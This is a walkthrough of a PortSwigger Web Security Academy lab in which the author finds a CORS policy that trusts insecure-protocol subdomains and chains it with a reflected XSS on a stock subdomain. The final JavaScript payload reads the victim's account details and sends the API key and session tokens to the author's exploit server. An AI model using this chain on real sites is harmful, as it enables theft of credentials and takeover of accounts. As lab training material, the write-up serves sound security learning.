CORS vulnerability with trusted insecure protocols

Description

This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol.

To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key.

You can log in to your own account using the following credentials: wiener:peter

Approach

First, I turned on the FoxyProxy extension to proxy all requests through Burp Suite and started navigating the site after logging in as the user "wiener." In Burp Suite's HTTP History, I noticed an interesting request:

GET /accountDetails HTTP/2
Host: 0a310036037575a18268bb5c008e0017.web-security-academy.net
Cookie: session=xQfOwbUoNfCDXZgyWe58SVlMmEAOxqfd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
...

The response:

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "kI8xsw9uMYOtmUGtQDOq6SxAG8wGERmc",
  "sessions": [
    "xQfOwbUoNfCDXZgyWe58SVlMmEAOxqfd"
  ]
}

The Access-Control-Allow-Credentials header caught my attention as it indicates the use of CORS. To confirm this, I added the Origin header to the request and sent it:

GET /accountDetails HTTP/2
Host: 0a310036037575a18268bb5c008e0017.web-security-academy.net
Origin: https://ichyaboy.com
Cookie: session=xQfOwbUoNfCDXZgyWe58SVlMmEAOxqfd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
...

I didn’t get the Access-Control-Allow-Origin header, which means that external URLs aren't allowed to access the resources on this website. So I tried putting a subdomain of the same site as the lab URL:

GET /accountDetails HTTP/2
Host: 0a310036037575a18268bb5c008e0017.web-security-academy.net
Origin: https://ichyaboy.0a310036037575a18268bb5c008e0017.web-security-academy.net
Cookie: session=xQfOwbUoNfCDXZgyWe58SVlMmEAOxqfd
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: */*
...

The response was:

HTTP/2 200 OK
Access-Control-Allow-Origin: https://ichyaboy.0a310036037575a18268bb5c008e0017.web-security-academy.net
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "kI8xsw9uMYOtmUGtQDOq6SxAG8wGERmc",
  "sessions": [
    "xQfOwbUoNfCDXZgyWe58SVlMmEAOxqfd"
  ]
}

This means that subdomains of the same site are allowed to access the resources on this website. I tried changing the subdomain protocol from https to http, and it worked; I received Access-Control-Allow-Origin: http://ichyaboy.0a310036037575a18268bb5c008e0017.web-security-academy.net. So the exploit needs to access from a subdomain because if I craft an exploit and host it on my exploit server, it won't work since the origin isn't a subdomain of the allowed site. The idea is if I find another subdomain vulnerable to XSS, I can use it to trigger my exploit, making it appear as if it's coming from the trusted subdomain instead of my exploit server.

In Burp Suite's HTTP History, I noticed this request:

GET /?productId=1&storeId=1 HTTP/1.1
Host: stock.0a310036037575a18268bb5c008e0017.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1

It is coming from a subdomain of the lab's domain. I tried a simple XSS payload in the productId parameter: <script>alert(1)</script>, and my input wasn't filtered or URL-encoded, meaning the XSS was successful:

HTTP/1.1 400 Bad Request
Content-Type: text/html; charset=utf-8
Set-Cookie: session=99pqTTkFFDzLFrhJQe7XgkZPPeL116Fu; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Length: 59

<h4>ERROR</h4>Invalid product ID: <script>alert(1)</script>

To verify, I right-clicked on the response and clicked "Show response in browser," then copied and pasted the URL in the browser and saw the alert pop-up.

Now, I need to chain this XSS with the CORS vulnerability to retrieve the victim's API key. The exploit is:

<script>
    document.location="http://stock.0a310036037575a18268bb5c008e0017.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0a310036037575a18268bb5c008e0017.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://https://exploit-0ad900d103a3324c875d425101860097.exploit-server.net//log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

When the victim accesses my exploit page, they will be redirected to the stock subdomain where the XSS will be triggered. This script accesses /accountDetails, saves the response data, and sends it back to my exploit server at the /log endpoint. By clicking "Store" and "Deliver exploit to victim" and accessing the log page, I can see a request with URL-encoded data. When URL-decoded, the data is:

{  "username": "administrator",  "email": "",  "apikey": "8NKpl5qiHr10m08BbHZlP5QhwVZEUNXs",  "sessions": [    "5m7kc7USOjuywvAqvEDq7goKUcq1A8MP"  ]}

By submitting the API key, the lab is solved.